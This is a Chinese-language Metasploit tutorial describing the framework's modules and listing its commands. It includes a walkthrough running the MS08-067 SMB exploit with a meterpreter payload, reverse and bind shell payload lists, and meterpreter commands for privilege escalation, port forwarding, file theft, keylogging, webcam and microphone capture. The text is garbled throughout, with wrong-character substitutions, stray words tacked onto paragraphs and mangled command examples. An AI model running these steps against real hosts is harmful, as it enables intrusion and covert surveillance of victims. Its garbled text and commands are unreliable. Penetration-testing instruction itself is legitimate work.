1.Metasploit介紹與基本命令

Metasploit體系框架介紹linux

 

Metasploit是目前世界上領先的滲透測試工具,也是信息安全與滲透測試領域最大的開源項目之一。它完全改變了咱們執行安全測試的方式。web

Metasploit之因此流行,是由於它能夠執行普遍的安全測試任務,從而簡化滲透測試的工做。Metasploit適用於全部流行的操做系統,但Kali Linux是最受歡迎的操做系統,第1、它預裝了幾乎全部實用滲透測試工具,下降了使用成本,其次它是基於Linux的操做系統,具備可靠的穩定性和安全性。shell

 

Metasploit滲透框架(Metasploit Framework)是一個免費的、開源的滲透測試框架,由H.D.Moore在2003年發佈,後來被Rapid7收購。當前穩定版本是使用Ruby語言編寫的。它擁有世界上最大的滲透測試攻擊數據庫,每一年超過100萬次的下載。它也是迄今爲止使用Ruby構建的最複雜的項目之一。數據庫

 

 

 

 

 

Metasploit設計是儘量採用模塊化的理念;在基礎庫的基礎上,提供了一些核心框架功能的支持;實現滲透測試的功能的主體代碼則以模塊化方式組織,並按照不一樣用途分爲6種類型模塊;爲了擴充metasploit框架對滲透測試全過程的支持功能特性,metasploit的滲透測試功能還引入了插件機制,支持將外部的安全工具集成到框架中;metasploit框架對集成模塊與插件,經過用戶接口與功能程序提供給滲透測試者進行使用。vim

 

 

 

 

 

 

 

 

1.  Libraries(基礎庫文件)windows

 

 metasploit基礎庫文件位於源碼根目錄路徑下的libraries目錄中,包括Rex,framework-core和framework-base三部分。後端

Rex庫1)最基礎的組件,如包裝的網絡套接字、網絡應用協議客戶端與服務端實現、日誌子系統、滲透攻擊支持例程、PostgreSQL以及MySQL數據庫支持等;api

framework-core庫負責實現全部與各類類型的上層模塊及插件的交互接口;瀏覽器

framework-base庫擴展了framework-core,提供更加簡單的包裝例程,併爲處理框架各個方面的功能提供了一些功能類,用於支持用戶接口與功能程序調用框架自己功能及框架集成模塊;緩存

 

 2. modules(模塊)

 

模塊是經過Metasploit框架所裝載、集成並對外提供的最核心的滲透測試功能實現代碼。按照在滲透測試過程各個環節中所具備的不一樣用途,分爲

1)輔助模塊(Anxiliary):輔助模塊爲信息檢索提供各類掃描程序。其中包括登陸掃描器、漏洞掃描器、網絡嗅探和端口掃描器;

2)滲透攻擊模塊(Exploiits):這個模塊包含用於利用漏洞的程序和腳本,Metasploit有超過1700個漏洞利用程序。

3)後滲透攻擊模塊(Post):用於支持在滲透攻擊取得目標系統遠程控制權後,在受控系統中進行各式各樣的後滲透攻擊動做,如獲取敏感信息、實施跳板攻擊等

4)攻擊載荷模塊(Payloads):它主要用於創建攻擊者和受害者機器直接的鏈接,Metasploit有超過500個有效攻擊載荷。

5)空指令模塊(Nops):用來在攻擊載荷中添加空指令區,以提升攻擊可靠性的組件。

6)編碼器模塊(Encoders):確保攻擊載荷中不會出現滲透攻擊過程當中應加以免出現的壞字符」。爲了使有效載荷在IDS入侵檢測/IPS入侵防護系統或反病毒程序下能不被發現,對攻擊載荷進行「免殺」處理。

這些模塊都擁有很是清晰的結構和一個預先定義好的接口,能夠被裝載到Metasploit框架中,並可組合支持信息蒐集、滲透攻擊與後滲透攻擊拓展等滲透測試任務。

 

3. 插件(plugins

 

Metasploit框架的插件是一類定義比較鬆散,可以擴充框架的功能,或者組裝已有功能構成高級特性的組件。插件能夠集成現有的一些外部安全工具,如Nessus、OpenVAS漏洞掃描器等,爲用戶接口提供一些新的功能命令、記錄全部的網絡記錄或提供創新的滲透測試功能。

 

4. 接口(interfaces

 

Metasploit框架提供了多種用戶使用接口,包括msfconsole控制檯終端、msfcli命令行、msfgui圖形化界面、armitage圖形化界面以及msfapi遠程調用接口等。

 

 

5. 功能程序

 

Metasploit還提供了一系列可直接運行的功能程序,支持滲透測試者與安全研究人員快速地利用Metasploit框架內部能力完成一些特定任務。好比msfpayload、msfencode和msfvenom能夠將攻擊載荷封裝爲可執行文件、C語言、JavaScript語言等多種形式,並能夠進行各類類型的編碼。

 

 

Metasplot基本步驟及命令詳解

 

1.Linux metasploit安裝及使用

 

1.1 終端輸入msfconsole,啓動metasploit

 

MSF終端是Metasploit功能最強大、最豐富的用戶接口。

show Auxiliary/Exploits/Payloads 列出metasploit框架中的全部輔助/滲透攻擊模塊/攻擊載荷。

 

1.2 msf>help

 

核心命令

Cd                       更改當前的工做目錄

Sessions            轉儲會話列表並顯示有關會話的信息

Color                          切換顏色

Set                      將特定於上下文的變量設置爲一個值

Connect            鏈接與主機通訊

Setg                   將全局變量設置爲一個值

exit                    退出控制檯

sleep                           在指定的秒數內不作任何事情

get                      獲取特定於上下文的變量的值

spool                          將控制檯輸出寫入文件以及屏幕

getg                   獲取全局變量的值

threads             線程查看和操做後臺線程

grep grep        另外一個命令的輸出

unload              卸載框架插件

history             顯示命令歷史

unset                 取消設置一個或多個特定於上下文的變量

irb                       進入irb腳本模式

unsetg               取消設置一個或多個全局變量

load                   加載一個框架插件

version              顯示框架和控制檯庫版本號

quit                            退出控制檯

route                          經過會話路由流量

save                   保存活動的數據存儲

 

1.3  數據庫後端命令

 

db_connect                     鏈接到現有的數據庫

db_disconnect                斷開與當前數據庫實例的鏈接

db_export                        導出包含數據庫內容的文件

db_import                         導入掃描結果文件(文件類型將被自動檢測)

db_nmap                           執行nmap並自動記錄輸出

db_rebuild_cache                   重建數據庫存儲的模塊高速緩存

db_status                                    顯示當前的數據庫狀態

hosts                                            列出數據庫中的全部主機

loot                                      列出數據庫中的全部戰利品

notes                                   列出數據庫中的全部筆記

services                              列出數據庫中的全部服務

vulns                                  列出數據庫中的全部漏洞

workspace                                  在數據庫工做區之間切換

 

 

1.4  模塊命令

 

Advanced                          顯示一個或多個模塊的高級選項

Back                           從當前上下文返回

Edit                             使用首選編輯器編輯當前模塊

info                                    顯示有關一個或多個模塊的信息

loadpath                   路徑從路徑搜索並加載模塊

options                      顯示全局選項或一個或多個模塊

popm                         將最新的模塊從堆棧中彈出並使其處於活動狀態

previous                            將以前加載的模塊設置爲當前模塊

pushm                      將活動或模塊列表推入模塊堆棧

reload_all                           從全部定義的模塊路徑從新加載全部模塊

search                       搜索模塊名稱和描述

show                                   顯示給定類型的模塊或全部模塊

use                              按名稱選擇模塊

 

 

1.5 工做命令

 

Handler                      做爲做業啓動負載處理程序

Jobs                            顯示和管理做業

Kill                               殺死一個工做

Rename_job            重命名做業

 

 

1.6.查找metasploit框架中全部的滲透攻擊和其餘模塊:

 

search[模塊名]

search ms08-067

 

 

1.7.選擇並加載模塊:

 

use exploit/windows/smb/ms08_067_netapi

 info展現出制定滲透攻擊或模塊的相關信息。

 

 

1.8.設置攻擊載荷:

 

set payload windows/meterpreter/bind_tcp

 

經常使用payload

Linux:

 

linux/x86/meterpreter/reverse_tcp

linux/x86/meterpreter/bind_tcp

linux/x86/shell_bind_tcp

 linux/x86/shell_reverse_tcp

linux/x64/shell_reverse_tcp

 linux/x64/shell_bind_tcp

 

 

Windows:

 

windows/meterpreter/reverse_tcp

windows/meterpreter/bind_tcp

windows/shell reverse_tcp

windows/shell_ bind_tcp

windows/x64/meterpreter/reverse_tcp

windows/x64/meterpreter/bind_tcp

windows/x64/shell reverse_tcp

windows/x64/shell_bind_tcp

 

 

 

注意:

含有x64只適用目標服務器爲64位操做系統的,沒有x64或者使用x86的只適用32位操做系統;含有meterpreter的模塊會反彈meterpreter_shel,而普通的shell模塊只會反彈普通的shell(反彈結果跟nc相似);

reverse_tcp(反向鏈接)表示木馬會主動鏈接目標服務器,bind_tcp(正向鏈接)表示木馬會監聽本地的端口,等待攻擊者鏈接。這裏所說的鏈接通常是指tcp的某個端口。所以在生成木馬前,須要先判斷當前環境,適合正向鏈接木馬仍是反向鏈接的木馬。

 

 

 

1.9.查看須要設置的配置參數:

 

show options

 

1.10  設置配置參數(ip或端口):

 

set XXXX xxxxxx

 

1.11 開始攻擊:

 

exploit或run;

 

等待目標上鉤,得到shel以後,就能夠經過命令獲取目標機器的信息和控制其機器

 

sessions 列出全部可用的交互會話

 

Sessions  –l  1進入1號會話

 

打開meterpreter使用幫助:help

 

好比:getuid命令查看權限,驗證內網滲透成功

 

 

1.12  核心命令

 

Background     -將當前會話移動到背景

Bgkill                     -殺死一個背景meterpreter 腳本

Bglist                     -提供全部正在運行的後臺腳本的列表

Bgrun                   -做爲一個後臺線程運行腳本

Channel               -顯示活動頻道

Close                     -關閉通道

Exit                        -終止meterpreter會話

Help                      -幫助菜單

Info                       -查看詳細信息

Irb                         -進入Ruby 腳本模式

Migrate                -移動到一個指定的PID的活動進程

Quit                       -終止meterpreter會話

Read                     -從通道讀取數據

Run                       -執行之後它選定的meterpreter 腳本

Use                        -加載meterpreter的擴展

Write                    -將數據寫入到一個通道

 

 

 

1.13 文件系統命令

 

Cat                        -讀取並輸出到標準輸出文件的內容

Cd                          -更改目錄對受害人

Del                         -刪除文件對受害人

Download           -從受害者系統文件下載

Search                           -在目標主機文件系統上查找搜索文件例如:search-d c\\-f

*.doc                    在目標主機C盤下搜索doc文檔

Edit                       -用vim編輯文件I

Getlwd                 -打印本地目錄

Getwd                  -打印工做目錄

Icd                         -更改本地目錄

Lpwd                    -打印本地目錄

lS                           -列出在當前目錄中的文件列表

mkdir                    -在受害者系統上的建立目錄

pwd                      -輸出工做目錄

rm                         -刪除文件

rmdir                    -受害者系統上刪除目錄

Upload                 -從攻擊者的系統往受害者系統上傳文件

 

 

 

 

1.14  網絡命令

 

Ipconfig                       -顯示網絡接口的關鍵信息,包括IP地址、等。

Portfwd                        -端口轉發例如:portfwd add-11122-p3389-r 192.168.250.176把目標主機192.168.250.176的3389端口轉發到1122端口

Route                            -查看或加入受害者路由表 route add 5.5.5.0255.255.255.01用sessions1會話加入指定網段

Arp                                 -顯示主機ARP緩存

Getproxy                      -顯示當前代理配置

Netstat                          -顯示網絡鏈接

 

 

1.15  提權命令

 

Getsystem                   -得到系統管理員權限

 

1.16  用戶界面命令

 

Enumdesktops                    -列出全部可訪問臺式機

Getdesktop                                   -獲取當前的meterpreter桌面

Idletime                                 -檢查長時間以來,受害者系統空閒進程

keyscan_dump                   -鍵盤記錄軟件的內容轉儲

keyscan_start                      -啓動時與如Word或瀏覽器的進程相關聯的鍵盤記錄軟件

keyscan_stop                      -中止鍵盤記錄軟件

screenshot                            -抓去meterpreter 桌面的屏幕截圖

record_mic                           -音頻錄製

webcam_chat                    -查看攝像頭接口

webcam_list                         -查看攝像頭列表

webcam_stream                          -攝像頭視頻獲取

set_desktop                         -更改meterpreter 桌面

Uictl                                        -啓用用戶界面組件的一些控件

相關文章
相關標籤/搜索